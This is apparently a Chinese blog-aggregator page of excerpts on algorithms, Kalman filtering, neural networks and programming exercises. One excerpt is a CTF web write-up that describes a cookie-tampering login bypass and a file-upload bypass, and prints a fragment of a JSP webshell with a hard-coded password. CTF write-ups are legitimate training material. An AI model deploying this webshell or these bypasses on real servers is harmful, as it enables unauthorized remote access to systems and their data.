z1

【模拟】锤子剪刀布

[亡魂溺海] 提交于 2020-01-19 04:31:19
描述 大家应该都会玩“锤子剪刀布”的游戏:两人同时给出手势,胜负规则如图所示: 现给出两人的交锋记录,请统计双方的胜、平、负次数,并且给出双方分别出什么手势的胜算最大。 输入 输入第1行给出正整数N(<=105),即双方交锋的次数。随后N行,每行给出一次交锋的信息,即甲、乙双方同时给出的的手势。C代表“锤子”、J代表“剪刀”、B代表“布”,第1个字母代表甲方,第2个代表乙方,中间有1个空格。 输出 输出第1、2行分别给出甲、乙的胜、平、负次数,数字间以1个空格分隔。第3行给出两个字母,分别代表甲、乙获胜次数最多的手势,中间有1个空格。如果解不唯一,则输出按字母序最小的解。 样例输入 10 C J J B C B B B B C C C C B J B B C J J 样例输出 5 3 2 2 3 5 B B 题目来源 PAT 乙级 分析: 根据题目模拟。 感受: 模拟就像刷牙洗脸,仔仔细细多做几遍。 代码: #include<bits/stdc++.h> using namespace std; int main(){ int n; char C1,C2,Ans1,Ans2; cin>>n; int c1,c2,c3,d1,d2,d3,x1,x2,y1,y2,z1,z2;//1为胜、2为平、3为负。 c1=c2=c3=d1=d2=d3=x1=y1=z1=x2=y2=z2=0; d2

一元三次、四次方程求解

谁说我不能喝 提交于 2020-01-19 01:05:39
一、一元四次方程求解 一元四次方程求根公式, 百科 : https://baike.baidu.com/item/%E4%B8%80%E5%85%83%E5%9B%9B%E6%AC%A1%E6%96%B9%E7%A8%8B%E6%B1%82%E6%A0%B9%E5%85%AC%E5%BC%8F/10721996?fr=aladdin 1.网上搜到的求解代码 python求解代码,见: https://github.com/Larissa1990/Solve-cubic-and-quartic-equations-with-one-unknown/blob/master/Equations.py 经测试, 有bug,求解不正确 说明,见: https://www.cnblogs.com/larissa-0464/p/11706131.html 2. 一元四次方程 在线求解工具 : https://www.osgeo.cn/app/s2085 可用来验证求解程序是否正确; 3. 一元四次方程 , 沈天珩 简化求根公式, 具体公式 详见百科链接; import math import cmath import numpy as np def cal_quartic_ik(args_list): a, b, c, d, e = args_list D = 3*pow(b,2) - 8*a

Kalman滤波学习笔记一《绪论:最优估计》

牧云@^-^@ 提交于 2020-01-12 03:53:47
Kalman滤波学习笔记一《绪论:最优估计》 学习笔记参考: 《Kalman滤波基础及MATLAB仿真》北京航空航天大学出版社——王可东编著 1、任何传感器都存在 确定性 和 随机测量误差 ; 2、两种获取物体状态的方法: 积分推算法 和 直接测量法 ,前者的误差随工作时间 发散 ; 3、误差分为 确定性误差 和 随机误差 ,前者可以 完全补偿 ,后者不可以,且只能从 统计意义 上认识; 4、估计的定义:基于 测量结果 ,按照 状态 与其 测量值 之间的内在关系,确定 状态统计量 的过程; 5、估计的分类: 预测 、 滤波 和 平滑 ;预测的精度 最低 ,平滑的精度 最高 ,滤波的精度 介于两者之间 ; 6、预测:利用从初始时刻到当前时刻的所有测量结果,对 未来某一时刻 的状态进行估计的过程; 7、滤波:利用从初始时刻到当前时刻的所有测量结果,对 当前时刻 的状态进行估计的过程; 8、平滑:利用从初始时刻到当前时刻的所有测量结果,对 过往某一时刻 的状态进行估计的过程; 9、最优估计的定义:基于对状态的 多个测量结果 ,按照某种 最优准则 ,实现对状态的估计; 10、 一个小例子 :设对某一常量 x x x 进行两次独立无偏测量,试基于这两次测量结果给出对常量 x x x 的线性、无偏和最小方差的估计结果: 解:设两次测量值 z 1 , z 2 z_1,z_2 z 1 ​ , z

模拟计算器

廉价感情. 提交于 2020-01-02 20:04:01
题目: 模拟计算器开发: 实现加减乘除及拓号优先级解析 用户输入 1 - 2 * ( (60-30 +(-40/5) * (9-2*5/3 + 7 /3*99/4*2998 +10 * 568/14 )) - (-4*3)/ (16-3*2) )等类似公式后,必须自己解析里面的(),+,-,*,/符号和公式(不能调用eval等类似功能偷懒实现),运算后得出结果,结果必须与真实的计算器所得出的结果一致 流程图: 代码: #!/usr/bin/env python # -*-coding:utf-8-*- # _author_=zh import re a='1 - 2 * ((60 - 30 + (-40 / 5) * (9 - 2 * 5 / 3 + 7 / 3 * 99 / 4 * 2998 + 10 * 568 / 14)) - (-4 * 3) / (16 - 3 * 2))' a="("+a+")" #找最里层括号 while re.search("\([^()]*\)", a): z1=re.search("\([^()]*\)", a).group() save=z1 # 处理括号内部乘除 while re.search('\d+\.?\d*\s*[\/\*]\s*[\+\-]?\d+\.?\d*', z1): z2 = re.search('\d+\.?\d*\s*[

java天气查询

℡╲_俬逩灬. 提交于 2019-12-11 19:24:00
java天气查询 import java.awt.Color; import java.awt.Container; import java.awt.Graphics; import java.awt.Point; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import java.util.HashMap; import java.util.Map; import java.util.Scanner; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JOptionPane; import javax.swing.JPanel; import javax.swing.JTextField; import javax.swing

[ch01-03]神经网络基本原理

醉酒当歌 提交于 2019-12-05 04:14:43
系列博客,原文在笔者所维护的github上: https://aka.ms/beginnerAI , 点击star加星不要吝啬,星越多笔者越努力。 前言 For things I don't know how to build, I don't understand. 如果我不能亲手搭建起来一个东西,那么我就不能理解它。 -- 美国物理学家理查德·费曼 在互联网发达的今天,很多知识都可以从网络上找到,但是网络上的博客、文章的质量参差不齐,或者重点不明确,或者直接把别人的博客抄袭过来。这种状况使得广大的初学者们学习起来很困难,甚至误入歧途,增加了学习曲线的陡峭程度。当然也有很多博主非常非常负责任,文章质量很高,只是连续度不够,正看得过瘾的时候,没有后续章节了,无法形成知识体系。 初学者也可以选择看一些教材或者理论书籍,但是,一个鸡生蛋蛋生鸡的问题出现了:如果你不懂,那么看完了理论你还是不会懂;如果你懂了,那么你就没必要看理论。这也是很多教材或者理论书籍的缺憾。 笔者也看过吴恩达老师的课,理论知识讲得由浅入深,还是非常清楚的,虽然代码示例基本没有,但仍然强烈建议大家去看。笔者的心得是:视频可以事先缓存在手机中,利用一些时间片段就可以学习了。 社会上还有一些网课,在线讲解深度学习的知识,笔者也参加了几个团购,老师和助教一般都很负责任,最后可以回看录像,下载PPT课件

2018红帽杯线上预选赛wp---Web

坚强是说给别人听的谎言 提交于 2019-12-03 10:17:04
1. simple upload 首先使用弱口令登录试试,页面没啥变化,设置代理,Burp Suite抓包 发现cookie admin=0 ,将其值改为1,跳转到新页面, 编辑php一句话,保存为jpg图片上传, 在Burp Suite中修改文件名为1.php, 可以上传,但是发现并不解析 尝试了asp,aspx,jsp,发现jsp可以执行,重新上传jsp即可拿到shell。 jsp马 <%@page import= "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" %> <%! String Pwd = "aaa" ; String EC( String s, String c) throws Exception { return s; }// new String (s.getBytes( "ISO-8859-1" ),c);} Connection GC( String s) throws Exception { String [] x = s. trim (). split ( "\r\n" ); Class .forName(x[ 0 ]. trim ()).newInstance(); Connection c = DriverManager.getConnection(x[ 1 ]. trim ())

HDU 1069 Monkey and Banana dp 题解

匿名 (未验证) 提交于 2019-12-02 23:49:02
一堆科学家研究猩猩的智商,给他M种长方体,每种N个。然后,将一个香蕉挂在屋顶,让猩猩通过 叠长方体来够到香蕉。 现在给你M种长方体,计算,最高能堆多高。要求位于上面的长方体的长要大于(注意不是大于等于)下面长方体的长,上面长方体的宽大于下面长方体的宽。 输入输出 开始一个数n,表示有多少种木块,木块的数量无限,然后接下来的n行,每行3个数,是木块的长宽高三个参量 输出使用这些在满足条件的情况下能够摆放的最大高度 首先,我们严格令长>宽,可以想到一种木块有3种摆放方式,长、宽、高分别在下面。 对于摆放种类,我们可以使用dp动态规划来进行,看了其他博主写的博客,这个题和求最长递增子序列差不多(反过来想的,就是把塔给倒过来进行构造)。 #include <cstdio> #include <iostream> #include <algorithm> using namespace std ; const int N = 207 ; struct note { int l , w , h ; } cd [ N ]; int dp [ N ]; bool cmp ( note cod1 , note cod2 ) //按照长宽进行排序,大的在前 { if ( cod1 . l == cod2 . l ) //长相同,宽 大的在前 return cod1 . w > cod2 . w ;

结对编程(JAVA实现)

只谈情不闲聊 提交于 2019-12-01 13:58:15
结对成员:钟苑莉 张冰微 一、 Github项目地址: https://github.com/Clarazhangbw/ruangongjd 二、PSP表格 PSP2.1 Personal Software Process Stages 预估耗时(分钟) 实际耗时(分钟) Planning 计划 30 30 · Estimate · 估计这个任务需要多少时间 30 30 Development 开发 1960 2270 · Analysis · 需求分析 (包括学习新技术) 120 150 · Design Spec · 生成设计文档 40 50 · Design Review · 设计复审 (和同事审核设计文档) 20 30 · Coding Standard · 代码规范 (为目前的开发制定合适的规范) 30 30 · Design · 具体设计 60 80 · Coding · 具体编码 1600 1800 · Code Review · 代码复审 30 40 · Test · 测试(自我测试,修改代码,提交修改) 60 90 Reporting 报告 80 110 · Test Report · 测试报告 30 50 · Size Measurement · 计算工作量 20 20 · Postmortem & Process Improvement Plan · 事后总结

暴力三维树状数组求曼哈顿距离求最值——牛客多校第八场D

岁酱吖の 提交于 2019-11-26 23:18:21
涉及的知识点挺多,但是大多是套路 1.求曼哈顿距离的最值一般对所有情况进行讨论 2.三维树状数组用来求前缀最大值 /* 有一个三维坐标系(x,y,z),取值范围为[1,n],[1,m],[1,h],有两种操作 1.在三维坐标系上更新一个点(x1,y1,z1) 2.给定一个点(x2,y2,z2),问在坐标系上离该点Manhattan距离最短的点 即最小的 |x2-x1|+|y2-y1|+|z2-z1| 令 f=|x2-x1|+|y2-y1|+|z2-z1|,那么可以讨论去绝对值后f的八种情况 f0=(x2+y2+z2)-(x1+y1+z1),x2>=x1,y2>=y1,z2>=z1 f1=(x2+y2-z2)-(x1+y1-z1),x2>=x1,y2>=y1,x2<x1 ... 考虑如何求每种情况的最小值 由于 x2+y2+z2 的值是固定的,只需要求出最大的符合条件的 x1+y1+z1即可,发现 x1<=x2 && y1<=y2 && z1<=z2这个条件刚好可以用三维树状数组来维护(求前缀最大值,单点更新) 同理 八种情况都可以用八颗三维树状数组来维护 另外 考虑 f1的条件 需要将 x1>x2转换成 n-x1+1<=n-x2+1 然后更新的是x1+y1-z1,查询的结果是最大的 x1+y1-z1 其他情况同理 (由于n*m*h<=1e5,所以用一个三维转一维的方式来存储) */